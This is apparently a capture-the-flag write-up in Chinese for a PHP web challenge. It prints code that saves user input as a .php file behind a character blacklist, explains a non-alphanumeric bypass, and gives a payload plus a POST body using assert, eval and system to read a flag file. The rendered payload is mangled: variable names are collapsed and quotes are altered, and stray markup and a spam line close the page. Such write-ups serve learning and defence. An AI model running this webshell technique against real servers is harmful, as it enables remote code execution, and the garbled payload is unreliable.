<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Web300

    打開就能看到源碼

    <?php 
    ini_set("display_errors", "On"); 
    error_reporting(E_ALL | E_STRICT); 
    if(!isset($_GET['content'])){ 
       show_source(__FILE__); 
       die(); 
    } 
    function rand_string( $length ) { 
       $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";     
       $size = strlen( $chars ); 
       $str = ''; 
       for( $i = 0; $i < $length; $i++) { 
           $str .= $chars[ rand( 0, $size - 1 ) ]; 
       } 
       return $str; 
    } 
    $data = $_GET['content']; 
    $black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`',  '|', '~');
    foreach ($black_char as $b) { 
       if (stripos($data, $b) !== false){ 
           die("關鍵字WAF"); 
       } 
    } 
    $filename=rand_string(0x20).'.php'; 
    $folder='uploads/'; 
    $full_filename = $folder.$filename; 
    if(file_put_contents($full_filename, '<?php '.$data)){ 
       echo "<a href='".$full_filename."'>shell</a></br>"; 
       echo "我的/flag,你讀到了么"; 
    }else{ 
       echo "噢 噢,錯了"; 
    } 

    是要自己構造特殊的shellcode了,還沒有把路封死,因為沒有過濾如下

    = $ _ + ‘ ( ) [ ] { }等等

    就是時間問題,構造主要注意幾點

    1.A可以用++進行計算,A++之后就是B
    2.字符++后變成了0
    3.''.[]之后報錯返回的信息是Array可以構造POST了。加上[]{}.沒有過濾即可構造

    最終構造如下,提交時候需要將+替換成url

    $=’’.[];$=’%2b’;$=$%2b%2b;$=$[$];$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$%2b%2b;$_=$;$%2b%2b;$=$;$%2b%2b;$%2b%2b;$%2b%2b;$__=$;$%2b%2b;${‘‘.$.$_.$____.$}‘_’;

    訪問得到flag

    POST內容如下

    =assert&_=eval($_POST[‘pass’])&pass=system(‘tac ../flag.php’);

    <?php $flag="=hxb2017{51f759f39ac1f0cd5509b299b1d908f7}"; ?>

    非常好的參考資料
    https://www.leavesongs.com/PENETRATION/web...
    http://www.freebuf.com/articles/web/9396.h...
    學習了一波2333

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类